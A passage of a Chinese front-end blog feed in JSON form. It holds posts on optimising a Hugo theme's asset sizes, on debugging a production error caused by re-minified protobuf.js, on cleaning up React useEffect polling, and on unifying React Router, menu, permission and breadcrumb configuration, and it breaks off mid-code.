@fortawesome/fontawesome-free/js/all.min.js，该资源有 1.2M。但其实在主题中根本没有使用到如此之多的图标，完全可以按需加载优化。\n参考《Using Font Awesome Icons in Hugo》 中的优化方法。通过关键词查找收集了主题中用到的图标，下载下来后通过模板语法直接在构建阶段把所有的 SVG 内联到 HTML 中。\n不过我发现在首页中会有大量的重复图标，使用该方法后会有重复的 SVG 内容内联到 HTML 中。所以我再上述方法的基础之上再次尝试优化，将所有的 SVG 图标合并到一个文件中，每个使用的地方使用 \u0026lt;use href=\u0026quot;#\u0026lt;icon\u0026gt;\u0026quot; /\u0026gt; 来进行引用。\n首先我们还是像之前那样，把所有的图标下载下来。区别是通过 \u0026lt;symbol\u0026gt; 将图标转成图元，方便后续使用 \u0026lt;use\u0026gt; 进行复用。\n// deno run --allow-net --allow-write fontsvg.ts import * as path from \u0026#34;https://deno.land/std/path/mod.ts\u0026#34;; const __dirname = new URL(\u0026#39;.\u0026#39;, import.meta.url).pathname; const icons = [ \u0026#34;calendar-alt\u0026#34;, \u0026#34;calendar\u0026#34;, \u0026#34;star-half-alt\u0026#34;, \u0026#34;comment\u0026#34;, \u0026#34;clock\u0026#34;, \u0026#34;bars\u0026#34;, \u0026#34;search\u0026#34;, \u0026#34;moon\u0026#34;, \u0026#34;sun\u0026#34;, \u0026#34;adjust\u0026#34;, \u0026#34;globe\u0026#34;, \u0026#34;th-list\u0026#34;, \u0026#34;folder\u0026#34;, \u0026#34;caret-right\u0026#34;, \u0026#34;edit\u0026#34;, \u0026#34;user\u0026#34;, \u0026#34;pen\u0026#34;, \u0026#34;book\u0026#34;, \u0026#34;rss\u0026#34; ]; const baseUrl = \u0026#39;https://cdn.jsdelivr.net/gh/FortAwesome/Font-Awesome@5.x/svgs/solid\u0026#39;; const toDefs = (id: string, svgText: string) =\u0026gt; svgText .replace(/\u0026lt;svg.+viewBox=[\u0026#39;\u0026#34;](\\d+) (\\d+) (\\d+) (\\d+)[^\u0026gt;]+\u0026gt;/, `\u0026lt;symbol id=\u0026#34;${id}\u0026#34; viewBox=\u0026#34;$1 $2 $3 $4\u0026#34;\u0026gt;`) .replace(\u0026#39;\u0026lt;/svg\u0026gt;\u0026#39;, \u0026#39;\u0026lt;/symbol\u0026gt;\u0026#39;) .replace(\u0026#39;\u0026lt;path\u0026#39;, \u0026#39;\u0026lt;path fill=\u0026#34;currentColor\u0026#34;\u0026#39;) .replace(/\u0026lt;!--.+?--\u0026gt;/, \u0026#39;\u0026#39;); const iconTexts = await Promise.all(icons.map(async icon =\u0026gt; { const text = await fetch(`${baseUrl}/${icon}.svg`).then(resp =\u0026gt; resp.text()); const match = text.match(/(viewBox=\u0026#34;\\d+ \\d+ \\d+ \\d+\u0026#34;)/); if(!match) { throw Error(\u0026#39;match error\u0026#39;); } Deno.writeTextFile(path.join(__dirname, `./fontawesome/${icon}.svg`), `\u0026lt;svg ${match[1]}\u0026gt;\u0026lt;use href=\u0026#34;#${icon}\u0026#34; /\u0026gt;\u0026lt;/svg\u0026gt;`); return toDefs(icon, text); })); Deno.writeTextFile(path.join(__dirname, \u0026#39;./fontawesome/all.svg\u0026#39;), `\u0026lt;svg width=0 height=0 viewBox=\u0026#34;0 0 0 0\u0026#34;\u0026gt;${iconTexts.join(\u0026#39;\\r\\n\u0026#39;)}\u0026lt;/svg\u0026gt;`); 之后我们需要在 header 中加载 all.svg。在主题 header.html 开头增加如下代码：\n{{ $svg := resources.Get (print \u0026#34;fontawesome/all.svg\u0026#34;) }} {{ $svg.Content | safeHTML }} 还是像引文中的方式一样，我们定义一个 Partial，所有使用的地方可以直接使用这个 Partial 内联图标 SVG。\n\u0026lt;!--layouts/partials/fontawesome.html--\u0026gt; \u0026lt;span class=\u0026#34;inline-svg svg-inline--fa fa-w-14 {{.class}}\u0026#34;\u0026gt; {{ $svg := resources.Get (print \u0026#34;fontawesome/\u0026#34; .icon \u0026#34;.svg\u0026#34;) }} {{ $svg.Content | safeHTML }} \u0026lt;/span\u0026gt; 最后我们在使用的地方只需要使用如下 partial 命令即可完成图标的嵌入。修改 calendar 为对应的图标名称可以实现内嵌对应的图标。\n{{ partial \u0026#34;fontawesome.html\u0026#34; (dict \u0026#34;icon\u0026#34; \u0026#34;calendar\u0026#34;) }} 这么优化之后首页 HTML 文档的体积有着显著的改善，从 89.7k 降低至 77.3k。不过由于内联的图标都变成了不重复的内容，压缩率反而降低了，这倒是我没有想到的。Vercel 使用的是 Brotil 压缩方式，原本基于引文的方式压缩后的体积是 20.4k，优化后压缩后的体积反而增加到了 22.1k。不过 2k 不到的体积增长，倒是还能接受。\n解决了大头之后，JS 资源还剩下 highlight.min.js 和 eureka.min.js，前者是代码高亮使用，后者是主题对应的 JS 脚本。由于我在首页实际上是没有代码高亮的需求，所以我将 highlight.js 相关的资源做了判断，仅在详情页的时候再做加载。\n而针对 eureka.min.js 这种小文件，我们可以考虑将其内联到 HTML 中减少一个请求。不过该优化在 HTTP/2 场景并不是一个最佳实践，诸君请适度使用。\n{{- $eurekaJS := resources.Get \u0026#34;js/eureka.js\u0026#34; | resources.ExecuteAsTemplate \u0026#34;js/eureka.js\u0026#34; . | minify }} \u0026lt;script defer src=\u0026#34;data:application/javascript;base64,{{ $eurekaJS.Content | base64Encode }}\u0026#34;\u0026gt;\u0026lt;/script\u0026gt; 最后其实还剩下百度统计的请求资源，这个参考以下两篇文章也是可以做类似的优化的，虽然两篇文章讲的都是 Google Analytics 但是原理都差不太多。不过目前这种程度我也能接受了，就没有再继续尝试下去，之后有空再参考优化一下。\n《本博客零散优化点汇总》 《使用 Cloudflare Workers 加速 Google Analytics》 CSS 资源 CSS 资源中大头是 eureka.min.css，高达 4M 的体积一看就知道它用了原子类 CSS 库 TailWind（笑哭。毕竟正经人谁能写出 4M 的 CSS 文件，特别还是这么简单的一款主题。\n我对原子类 CSS 写法一直不太感冒的原因主要有两点，一个是本质它把 CSS 的功能转嫁到了 HTML class 属性上，看着那些纷繁复杂又臭又长的 class 令人脑壳疼。再一个就是因为它的体积问题。\n好在 TailWind CSS 提供了优化选项，通过遍历配置中的文件查找所有可能用到的 class 节省体积。具体的话可以参考文档。由于是静态分析 class，所以不能出现动态拼接，也不能出现变量之类的替代。\n将配置开启之后，eureka.min.css 文件从初始的 4M 优化成了 21.4k，Brotil 压缩后体积是 5.2k，整个人都神清气爽了有没有。\n初次之外，网站还加载了一款代码高亮主题 solarized-light.min.css 以及一款自定义字体。代码高亮样式则按照 JS 优化策略一样，仅针对详情页再加载。而自定义字体我看了下会加载一款中文的 Web Font，用于提供给全站使用。所以也没有做动态切片等体积优化处理，每次都会加载 2M 的字体资源。考虑到该需求是纯美化场景，系统默认的衬线体也还可以，遂直接将该自定义字体移除解决。\n图片资源 图片也是比较中的资源加载灾区，有 3M 的图片资源加载。由于之前没有特别在意这块，很多场景为了方便直接原图就放上来了，也没有做图片的处理。所以这次就使用常规的图片资源处理手段对图片进行了优化处理，主要是图片压缩以及 LazyLoad。\n图片处理这块就是很正常的手段了，没有什么值得说的。图片压缩主要是使用了 https://tinypng.com，LazyLoad 则是用了苏卡卡推荐的 vanilla-lazyload。\n除了体积的优化之外，图片还可以对它进行格式和尺寸进行优化。现在比较推荐使用 \u0026lt;picture\u0026gt; 的写法渲染图片，内部存放不同的格式的图片，浏览器会根据是否支持选择对应的格式展示。\n\u0026lt;picture\u0026gt; \u0026lt;source srcset=\u0026#34;image.webp\u0026#34; type=\u0026#34;image/webp\u0026#34;\u0026gt; \u0026lt;img src=\u0026#34;image.jpg\u0026#34; alt=\u0026#34;my image\u0026#34;\u0026gt; \u0026lt;/picture\u0026gt; 剩下的就是如何获取 webp 的图片了，网上有比较多使用 cwebp 手动转成 webp 图片的教程，我就不多赘述了。除此之外，Hugo 本身似乎也支持做个格式的转换（https://discourse.gohugo.io/t/image-conversion-without-resizing/32429）。\n{{ $i := resources.Get \u0026#34;image.jpg\u0026#34; }} {{ $resizeOptions := printf \u0026#34;%dx%d webp\u0026#34; $i.Width $i.Height }} {{ $i = $i.Resize $resizeOptions }} 最后一种方式，也是我比较推荐的方式，是使用外部的 CDN 存储服务。这些外部服务都会有通过 URL 动态转换和裁剪的能力。\n除了更好的格式，对图片的裁剪也很重要。实际上 Hugo 本身也有非常多的图片处理方法用于图片优化，主要是裁剪和滤镜。我们可以利用 Hugo 本身的功能，也可以使用外部 CDN 存储服务，基于他们的动态裁剪能力来实现。\n不过我的只是我的文章中图片地址五花八门，有本地的也有各种外部 CDN 的，使用那种方式都比较麻烦。所以暂时就没有处理格式的事情了， 如果有需要的可以参考一下。\n2022-07-02 更新\n最终我采用了外部 CDN 的方式，将博客中所有的外链图片重新抓取下来整理上传到又拍云，并对文章图片进行了整体的清洗，一些老图无法访问的就直接指向一个 404 的图片了。\n同时开启了又拍云的 Webp 自适应功能，无需修改图片链接地址，又拍云 CDN 会自动根据浏览器是否支持来返回 Webp 图片，轻松全站支持 Webp 图片访问。最终的优化效果也非常明显，整体图片体积再次缩小了 3 倍左右。\n总结 在各种优化之下，最终首页的资源加载从之前的 10M 缩减到了现在的 361k，加载速度已经令我比较满意了。之后我再抽空处理下整站的图片资源。\n","count":2613,"date":"2022年02月13日","featuredImage":"https://imnerd.org/assets/migration/i.loli.net/2020/11/07/B6GZn1V2AS8XYIT.jpg","permalink":"https://imnerd.org/eureka-theme-performance-optimize.html","summary":"\u003cp\u003e我在之前的文章 \u003ca href=\"https://imnerd.org/custom-hugo-theme-eureka.html\"\u003e《Hugo 主题 Eureka 自定义》\u003c/a\u003e 中有讲到我现在用的博客主题就是 Eureka。不过主题虽然好看，但是性能跑分却比较低。遂趁着周末时间给优化了一下，遂有本文。\u003c/p\u003e","time":6,"title":"Eureka 主题性能优化小结"},{"comments":{"data":[0],"errmsg":"","errno":0},"contents":"前段时间组里的小伙伴让我帮忙排查一个线上问题，我觉得排查流程比较有意思，想着记录一下看看是否能对其它同学有所帮助，遂有此文。\n事情的起因是前几天线上突然收到一个报警，错误内容是 TypeError: C.fn is not a function。相关同学尝试排查无果后又回滚了最近上线的变更也没有排查到问题。虽然最终确认了复现路径，但是在本地却无法复现。\n🔍 初步排查 在线上复现该错误后，点击错误堆栈的文件跳转，快速定位到线上出错的代码。由于线上都是压缩过的代码，这里我们可以点击左下角的 {} 进行代码美化。\n经过美化后我们可以看出来，应该就是 189624 行出了问题。我们直接尝试在这一行上打断点，之后会发现代码会在这块疯狂打转。这是因为它处于一个 for 循环中。仔细观察不难看出代码其实上是 this.head 这个链的递归执行，每次执行完当前 C 都会被赋值成链的下一个值，并执行该值对应的 fn() 方法。也就是问题是这个链上的某个值没有 fn() 方法，最终导致了这个报错。\n大概确认问题后，我们需要看一下最终这个 C 的值是什么。由于处在循环当中，一次一次的点击下一步实在是麻烦。由于我们有明确的目标，所以我们可以尝试添加条件断点，让只有符合我们条件的断点才停下来，否则都忽略正常执行。\n在 189624 行右键点击 Add conditional breakpoint\u0026hellip; 选项，并输入 typeof C.fn !== 'function' 作为条件表达式。这样我们就实现了一个仅在 C.fn 不是一个方法的时候才会触发的条件断点。\n条件断点触发后，我们可以在控制台中基于断点时的上下文输出变量进行调试。可以从下左图我们可以清晰的看到，此时的 C.fn 的确是不存在的。\n由于刚才我们已知 this.head 应该是一条链，依次执行链上的方法。所以理论上来说链上的每个元素都是一样的。于是乎我就尝试输出了 this.head 链上所有的元素想看一下这个链到底是什么样子的。模拟代码里的循环我也在控制台尝试写了下，发现输出的结果如下左图展示。在链的最后一个元素就是我们有问题的元素。\n而之前我们已知的是在本地开发环境是无法复现这个问题的，所以我照猫画虎在本地同样的位置也输出了一下 this.head 链，结果见上右图。发现和线上输出的，除了最后这个有问题的元素，其它的输出基本是一样的。\n看来问题的原因就在于线上的代码执行在链上增加了这么一个玩意导致的，而本地由于没有这个多余的元素所以没有触发问题。\n🐞 确认问题 找到原因后我就想着从代码层面捋一下是哪里给增加了这么个玩意。由于之前的代码中可以明显的看到 i.prototype.finish 的字样，初步猜测这应该是一个类的定义。于是乎就想看看这个类是在哪里实例化执行的。\n通过刚报错时的压缩后的代码，我们可以看到报错的模块是”protobuf.js“这个模块。于是乎我在项目和依赖中查找是哪个模块依赖了它，最终查到了是我们内部使用的一个 IM 消息模块有用到。\n之后在具体的依赖模块中搜索 .finish() 相关字样，查到了最终的调用在如下地方。serialize() 方法会调用 Request.encode() 方法，它返回一个 $Writer 基类的实例，而 $Writer 就是 protobuf.js 模块中的 Writer 基类。Request.encode() 方法实例化完 Writer 基类后会执行一系列的成员函数，执行完毕后会返回 Writer 实例，并调用它的 finish() 方法。\n了解执行流程之后，我就顺着 Request.encode(req).finish() 这一句开始向上对 Request.encode() 方法进行断点（下左图）。如下图先尝试在末尾断点输出 o.head（o 是压缩后指向 Writer 实例的变量），发现此时已经存在异常链元素了（下右图）。 中间的代码稍微打了下断点发现也依旧如此。最终在头部断点处发现了端倪。尝试在开头增加断电之后，发现在 120274 行执行完毕之后 o.head 链上就已经存在了异常数据了。\n那我们尝试翻看下代码看一下 o.create() 方法具体干了什么。从下图左我们可以看到 Writer.create() 本质其实就是 Writer 基类的实例化工厂方法。而下图中可以看到 Writer 的构造方法对一些成员属性赋了初值。其中关键的 this.head 的初值是一个 Op 基类的实例。下图右可以看到 Op 基类的构造方法中也是赋了一些初值。同时我们可以看到 function noop() {} 实际上就是一个空方法。也就是说 this.head 默认指向了一个空方法实例化的 Op 对象。\n乍一看整个流程其实非常简单，本质上构造函数内都是一些简单的赋值操作，不会有什么问题。于是乎还是按照链路依次向上排查问题。因为上一趴我们排查到执行完 Writer.create() 工厂方法后就有问题了，所以这里我们需要对 Writer 的构造函数进行断点排查。\n尝试如下图在构造方法末尾断点后，输出 this.head 链，发现此时已经有异常数据了。而这个时候不过只是做了初值的操作而已，这怎么就能出问题了呢？由于断点情况下我能在当前上下文中进行调试，所以此时我尝试自己执行一下 Op 基类的实例化操作（见下图）。这时候发现确实它的 next 属性不对，是我们要找的问题元素！\n此时此刻，我感觉我们已经越来越接近真相了！\n如下图左我们在 f 变量上 hover 一会儿，会出现它的定义处链接，点击后会直接跳转到它的定义处下图右（其实就离的不太远）。\n大家可能也都注意到了，我们刚才看的代码中 this.next 明明是定义成 undefined 怎么这里给定义成 g 了？而这个 g 又对上了 189456 行 g = s.base64，所以我们才看到 this.head.next 的值这么奇怪。而我们尝试看一下引用的 protobuf.js 代码，发现代码里 this.next 虽然是等于 g 但是它并没有关联到 u.base64 上。\n由于我之前有解决过一些压缩再压缩后代码异常的 Case，所以至此我基本上可以断定，由于 protobuf.js 在我们的依赖中是引入的压缩后的代码，而压缩后的代码再走压缩导致了变量指向出现错乱从而导致的问题。这也侧面印证了为什么只有线上可以，本地无法复现的原因。因为本地是没有走压缩的。\n🛠 如何解决 找到问题后有两种解决方法。一是正向的去查找压缩工具造成这个问题的原因；二是反向的去规避该问题，我们不引入压缩后的代码而是正常引入未压缩的代码，最终统一由项目进行压缩处理。\n这两种方法都能解决问题。而第一种需要的时间会比较久，所以我们先采用了第二种方法临时解决一下。由于该依赖包不是我们维护的，我们只能使用 patch-package 给模块打补丁的方式进行修复。它的功能是在安装完依赖后会根据我们的 diff 文件对依赖进行修改。\n这里我们的修改比较简单，找到我们依赖模块引入 protobuf.min.js 的地方，将其修改成 protobuf.js 即可。\n🗒 后记 undefined 在压缩后就变成了 g 这个初步猜想应该是本地想要定义一个没有定义的变量，这样就是 undefined 了。我尝试克隆了下 protobuf.js 仓库进行了尝试，发现应该是 UglifyJS 中配置了 marguel.eval 导致有这个特性。\n以上就是压缩造成的血案完整的排查经过，整个的过程总结一下有以下几个经验可以供大家参考：\n除了单步断点，我们还有条件断点、日志断点等多种断点方式帮助我们排查问题，合理使用会加速我们排查问题的速度。 断点后当前 JS 环境会停留在当时的上下文中，我们可以在控制台执行、输出我们想要的当时环境的数据帮助排查。 控制台中我们也可以 hover 查看定义位置，进行定义间快速跳转。 压缩后的代码不可怕，我们可以通过源码对比，无法压缩的关键字进行定位查找。 只要是可以复现的问题，那都不是问题！ 最后祝大家开工大吉，新的一年没有 Bug！\n","count":2670,"date":"2022年02月07日","featuredImage":"https://imnerd.org/assets/2022/debug-a-compress-problem-using-by-breakpoint/banner.png","permalink":"https://imnerd.org/debug-a-compress-problem-using-by-breakpoint.html","summary":"\u003cp\u003e前段时间组里的小伙伴让我帮忙排查一个线上问题，我觉得排查流程比较有意思，想着记录一下看看是否能对其它同学有所帮助，遂有此文。\u003c/p\u003e\n\u003cp\u003e事情的起因是前几天线上突然收到一个报警，错误内容是 \u003ccode\u003eTypeError: C.fn is not a function\u003c/code\u003e。相关同学尝试排查无果后又回滚了最近上线的变更也没有排查到问题。虽然最终确认了复现路径，但是在本地却无法复现。\u003c/p\u003e","time":6,"title":"断点调试之压缩造成的血案"},{"comments":{"data":[0],"errmsg":"","errno":0},"contents":"在 React 组件中，我们会在 useEffect() 中执行方法，并返回一个函数用于清除它带来的副作用影响。以下是我们业务中的一个场景，该自定义 Hooks 用于每隔 2s 调用接口更新数据。\nimport { useState, useEffect } from \u0026#39;react\u0026#39;; export function useFetchDataInterval(fetchData) { const [list, setList] = useState([]); useEffect(() =\u0026gt; { const id = setInterval(async () =\u0026gt; { const data = await fetchData(); setList(list =\u0026gt; list.concat(data)); }, 2000); return () =\u0026gt; clearInterval(id); }, [fetchData]); return list; } 🐚 问题 该方法的问题在于没有考虑到 fetchData() 方法的执行时间，如果它的执行时间超过 2s 的话，那就会造成轮询任务的堆积。而且后续也有需求把这个定时时间动态化，由服务端下发间隔时间，降低服务端压力。\n所以这里我们可以考虑使用 setTimeout 来替换 setInterval。由于每次都是上一次请求完成之后再设置延迟时间，确保了他们不会堆积。以下是修改后的代码。\nimport { useState, useEffect } from \u0026#39;react\u0026#39;; export function useFetchDataInterval(fetchData) { const [list, setList] = useState([]); useEffect(() =\u0026gt; { let id; async function getList() { const data = await fetchData(); setList(list =\u0026gt; list.concat(data)); id = setTimeout(getList, 2000); } getList(); return () =\u0026gt; clearTimeout(id); }, [fetchData]); return list; } 不过改成 setTimeout 之后会引来新的问题。由于下一次的 setTimeout 执行需要等待 fetchData() 完成之后才会执行。如果在 fetchData() 还没有结束的时候我们就卸载组件的话，此时 clearTimeout() 只能无意义的清除当前执行时的回调，fetchData() 后调用 getList() 创建的新的延迟回调还是会继续执行。\n在线示例：CodeSandbox\n可以看到在点击按钮隐藏组件之后，接口请求次数还是在继续增加着。那么要如何解决这个问题？以下提供了几种解决方案。\n🌟如何解决 🐋 Promise Effect 该问题的原因是 Promise 执行过程中，无法取消后续还没有定义的 setTimeout() 导致的。所以最开始想到的就是我们不应该直接对 timeoutID 进行记录，而是应该向上记录整个逻辑的 Promise 对象。当 Promise 执行完成之后我们再清除 timeout，保证我们每次都能确切的清除掉任务。\n在线示例：CodeSandbox\nimport { useState, useEffect } from \u0026#39;react\u0026#39;; export function useFetchDataInterval(fetchData) { const [list, setList] = useState([]); useEffect(() =\u0026gt; { let getListPromise; async function getList() { const data = await fetchData(); setList((list) =\u0026gt; list.concat(data)); return setTimeout(() =\u0026gt; { getListPromise = getList(); }, 2000); } getListPromise = getList(); return () =\u0026gt; { getListPromise.then((id) =\u0026gt; clearTimeout(id)); }; }, [fetchData]); return list; } 🐳 AbortController 上面的方案能比较好的解决问题，但是在组件卸载的时候 Promise 任务还在执行，会造成资源的浪费。其实我们换个思路想一下，Promise 异步请求对于组件来说应该也是副作用，也是需要”清除“的。只要清除了 Promise 任务，后续的流程自然不会执行，就不会有这个问题了。\n清除 Promise 目前可以利用 AbortController 来实现，我们通过在卸载回调中执行 controller.abort() 方法，最终让代码走到 Reject 逻辑中，阻止了后续的代码执行。\n在线示例：CodeSandbox\nimport { useState, useEffect } from \u0026#39;react\u0026#39;; function fetchDataWithAbort({ fetchData, signal }) { if (signal.aborted) { return Promise.reject(\u0026#34;aborted\u0026#34;); } return new Promise((resolve, reject) =\u0026gt; { fetchData().then(resolve, reject); signal.addEventListener(\u0026#34;aborted\u0026#34;, () =\u0026gt; { reject(\u0026#34;aborted\u0026#34;); }); }); } function useFetchDataInterval(fetchData) { const [list, setList] = useState([]); useEffect(() =\u0026gt; { let id; const controller = new AbortController(); async function getList() { try { const data = await fetchDataWithAbort({ fetchData, signal: controller.signal }); setList(list =\u0026gt; list.concat(data)); id = setTimeout(getList, 2000); } catch(e) { console.error(e); } } getList(); return () =\u0026gt; { clearTimeout(id); controller.abort(); }; }, [fetchData]); return list; } 🐬 状态标记 上面一种方案，我们的本质是让异步请求抛错，中断了后续代码的执行。那是不是我设置一个标记变量，标记是非卸载状态才执行后续的逻辑也可以呢？所以该方案应运而生。\n定义了一个 unmounted 变量，如果在卸载回调中标记其为 true。在异步任务后判断如果 unmounted === true 的话就不走后续的逻辑来实现类似的效果。\n在线示例：CodeSandbox\nimport { useState, useEffect } from \u0026#39;react\u0026#39;; export function useFetchDataInterval(fetchData) { const [list, setList] = useState([]); useEffect(() =\u0026gt; { let id; let unmounted; async function getList() { const data = await fetchData(); if(unmounted) { return; } setList(list =\u0026gt; list.concat(data)); id = setTimeout(getList, 2000); } getList(); return () =\u0026gt; { unmounted = true; clearTimeout(id); } }, [fetchData]); return list; } 🎃 后记 问题的本质是一个长时间的异步任务在过程中的时候组件卸载后如何清除后续的副作用。\n这个其实不仅仅局限在本文的 Case 中，我们大家平常经常写的在 useEffect 中请求接口，返回后更新 State 的逻辑也会存在类似的问题。\n只是由于在一个已卸载组件中 setState 并没有什么效果，在用户层面无感知。而且 React 会帮助我们识别该场景，如果已卸载组件再做 setState 操作的话，会有 Warning 提示。\n再加上一般异步请求都比较快，所以大家也不会注意到这个问题。\n所以大家还有什么其他的解决方法解决这个问题吗？欢迎评论留言~\n注： 题图来自《How To Call Web APIs with the useEffect Hook in React》\n","count":1446,"date":"2022年01月23日","featuredImage":"https://imnerd.org/assets/2022/clean-up-useEffect.jpg","permalink":"https://imnerd.org/clean-up-useeffect-side-effect.html","summary":"\u003cp\u003e在 React 组件中，我们会在 \u003ccode\u003euseEffect()\u003c/code\u003e 中执行方法，并返回一个函数用于清除它带来的副作用影响。以下是我们业务中的一个场景，该自定义 Hooks 用于每隔 2s 调用接口更新数据。\u003c/p\u003e","time":3,"title":"清除 useEffect 副作用"},{"comments":{"data":[0],"errmsg":"","errno":0},"contents":"我最近做的一个新项目是一个典型的中后台项目，采用的是 React + React Router + Antd 方案。正常情况下我们需要定义路由配置，在页面中定义面包屑的数据，页面写完之后需要在左侧菜单中增加页面的路由。写多了之后，我会觉得同一个路由的相关信息在不同的地方重复声明，实在是有点麻烦，为什么我们不统一在一个地方定义，然后各个使用的地方动态获取呢？\n单独配置 首先我们看看每个功能单独定义是如何配置的，之后我们再总结规律整理成一份通用的配置。\n路由和权限 路由我们使用了 react-router-config 进行了声明化的配置。\n// router.ts import { RouteConfig } from \u0026#39;react-router-config\u0026#39;; import DefaultLayout from \u0026#39;./layouts/default\u0026#39;; import GoodsList from \u0026#39;./pages/goods-list\u0026#39;; import GoodsItem from \u0026#39;./pages/goods-item\u0026#39;; export const routes: RouteConfig[] = [ { component: DefaultLayout, routes: [ { path: \u0026#39;/goods\u0026#39;, exact: true, title: \u0026#39;商品列表\u0026#39;, component: GoodsList, }, { path: \u0026#39;/goods/:id\u0026#39;, exact: true, title: \u0026#39;商品详情\u0026#39;, component: GoodsItem, } ], }, ]; //app.tsx import React from \u0026#39;react\u0026#39;; import { BrowserRouter as Router } from \u0026#39;react-router-dom\u0026#39;; import { renderRoutes } from \u0026#39;react-router-config\u0026#39;; import { routes } from \u0026#39;./router\u0026#39;; export default function App() { return \u0026lt;Router\u0026gt;{renderRoutes(routes)}\u0026lt;/Router\u0026gt;; }; 菜单 左侧导航菜单我们使用的是 \u0026lt;Menu /\u0026gt; 组件，大概的方式如下：\n//./layouts/default import React from \u0026#39;react\u0026#39;; import { renderRoutes } from \u0026#39;react-router-config\u0026#39;; import { Layout, Menu } from \u0026#39;antd\u0026#39;; export default function({route}) { return ( \u0026lt;Layout\u0026gt; \u0026lt;Layout.Header\u0026gt; Header \u0026lt;/Layout.Header\u0026gt; \u0026lt;Layout\u0026gt; \u0026lt;Layout.Sider\u0026gt; \u0026lt;Menu mode=\u0026#34;inline\u0026#34;\u0026gt; \u0026lt;Menu.SubMenu title=\u0026#34;商品管理\u0026#34;\u0026gt; \u0026lt;Menu.Item key=\u0026#34;/goods\u0026#34;\u0026gt;商品列表\u0026lt;/Menu.Item\u0026gt; \u0026lt;/Menu.SubMenu\u0026gt; \u0026lt;/Menu\u0026gt; \u0026lt;/Layout.Sider\u0026gt; \u0026lt;Layout.Content\u0026gt; {renderRoutes(route.routes)} \u0026lt;/Layout.Content\u0026gt; \u0026lt;/Layout\u0026gt; \u0026lt;/Layout\u0026gt; ); } 权限 这里的权限主要指的是页面的权限。我们会请求一个服务端的权限列表接口，每个页面和功能都对应一个权限点，后台配置后告知我们该用户对应的权限列表。所以我们只需要记录每个页面对应的权限点，并在进入页面的时候判断下对应的权限点在不在返回的权限列表数据中即可。\n而页面权限与页面是如此相关，所以我们惯性的会将页面的权限点与页面路由配置在一块，再在页面统一的父组件中进行权限点的判断。\n// router.ts import { RouteConfig } from \u0026#39;react-router-config\u0026#39;; import DefaultLayout from \u0026#39;./layouts/default\u0026#39;; import GoodsList from \u0026#39;./pages/goods-list\u0026#39;; import GoodsItem from \u0026#39;./pages/goods-item\u0026#39;; export const routes: RouteConfig[] = [ { component: DefaultLayout, routes: [ { path: \u0026#39;/goods\u0026#39;, exact: true, title: \u0026#39;商品列表\u0026#39;, component: GoodsList, permission: \u0026#39;goods\u0026#39;, }, { path: \u0026#39;/goods/:id\u0026#39;, exact: true, title: \u0026#39;商品详情\u0026#39;, component: GoodsItem, permission: \u0026#39;goods-item\u0026#39;, } ], }, ]; // ./layouts/default import React, { useEffect, useMemo } from \u0026#39;react\u0026#39;; import { useHistory, useLocation } from \u0026#39;react-router-dom\u0026#39;; import { matchRoutes } from \u0026#39;react-router-config\u0026#39;; export default function({route}) { const history = useHistory(); const location = useLocation(); const page = useMemo(() =\u0026gt; matchRoutes(route.routes, location.pathname)?.[0]?.route, [ location.pathname, route.routes, ]); useEffect(() =\u0026gt; { getPermissionList().then(permissions =\u0026gt; { if(page.permission \u0026amp;\u0026amp; !permissions.includes(page.permission)) { history.push(\u0026#39;/no-permission\u0026#39;); } }) }, []); } 面包屑 面包屑则比较简单了，直接使用 \u0026lt;Breadcrumb /\u0026gt; 即可\n//./pages/goods-item.tsx import React from \u0026#39;react\u0026#39;; import { Link } from \u0026#39;react-router-dom\u0026#39;; import { Breadcrumb } from \u0026#39;antd\u0026#39;; export default function() { return ( \u0026lt;Breadcrumb\u0026gt; \u0026lt;Breadcrumb.Item\u0026gt; \u0026lt;Link to=\u0026#34;/goods\u0026#34;\u0026gt;商品列表\u0026lt;/Link\u0026gt; \u0026lt;/Breadcrumb.Item\u0026gt; \u0026lt;Breadcrumb.Item\u0026gt;商品详情\u0026lt;/Breadcrumb.Item\u0026gt; \u0026lt;/Breadcrumb\u0026gt; ); } 合并配置 通过上面的整理我们可以看到，所有的功能都是和配置相关，所有的配置都是对应路由的映射。虽然路由本身是平级的，但由于菜单和面包屑属于多级路由关系，所有我们的最终配置最好是多级嵌套，这样可以记录层级关系，生成菜单和面包屑比较方便。\n最终我们定义的配置结构如下：\n//router-config.ts import type { RouterConfig } from \u0026#39;react-router-config\u0026#39;; import GoodsList from \u0026#39;./pages/goods-list\u0026#39;; import GoodsItem from \u0026#39;./pages/goods-item\u0026#39;; export interface PathConfig extends RouterConfig { menu?: boolean; permission?: string; children?: PathConfig[]; } export const routers = [ { path: \u0026#39;/goods\u0026#39;, exact: true, title: \u0026#39;商品列表\u0026#39;, component: GoodsList, children: [ { path: \u0026#39;/goods/:id\u0026#39;, exact: true, title: \u0026#39;商品详情\u0026#39;, component: GoodsItem } ] } ]; 路由 基于上面的嵌套配置，我们需要定义一个 flatRouters() 方法将其进行打平，替换原来的配置即可。\n//router.ts import { RouteConfig } from \u0026#39;react-router-config\u0026#39;; import DefaultLayout from \u0026#39;./layouts/default\u0026#39;; import { routers, PathConfig } from \u0026#39;./router-config\u0026#39;; function flatRouters(routers: PathConfig[]): PathConfig[] { const results = []; for (let i = 0; i \u0026lt; routers.length; i++) { const { children, ...router } = routers[i]; results.push(router); if (Array.isArray(children)) { results.push(...routeFlat(children)); } } return results; } export const routes: RouteConfig[] = [ { component: DefaultLayout, routes: flatRouters(routers), }, ]; 菜单 菜单本身也是嵌套配置，将其正常渲染出来即可。\n//./layouts/default import React from \u0026#39;react\u0026#39;; import { renderRoutes } from \u0026#39;react-router-config\u0026#39;; import { Layout, Menu } from \u0026#39;antd\u0026#39;; const NavMenu: React.FC\u0026lt;{}\u0026gt; = () =\u0026gt; ( \u0026lt;Menu mode=\u0026#34;inline\u0026#34;\u0026gt; {routers.filter(({ menu }) =\u0026gt; menu).map(({ title, path, children }) =\u0026gt; ( Array.isArray(children) \u0026amp;\u0026amp; children?.filter(({ menu }) =\u0026gt; menu).length ? ( \u0026lt;Menu.SubMenu key={path} title={title} icon={icon}\u0026gt; {children.filter(({ menu }) =\u0026gt; menu).map(({ title, path }) =\u0026gt; ( \u0026lt;NavMenuItem key={path} title={title} path={path} /\u0026gt; ))} \u0026lt;/Menu.SubMenu\u0026gt; ) : ( \u0026lt;NavMenuItem key={path} title={title} path={path} /\u0026gt; ) ))} \u0026lt;/Menu\u0026gt; ); const NavMenuItem: React.FC\u0026lt;{path: string, title: string}\u0026gt; = ({path, title}) =\u0026gt; ( \u0026lt;Menu.Item\u0026gt; {/^https?:\\/\\//.test(path) ? ( \u0026lt;a href={path} 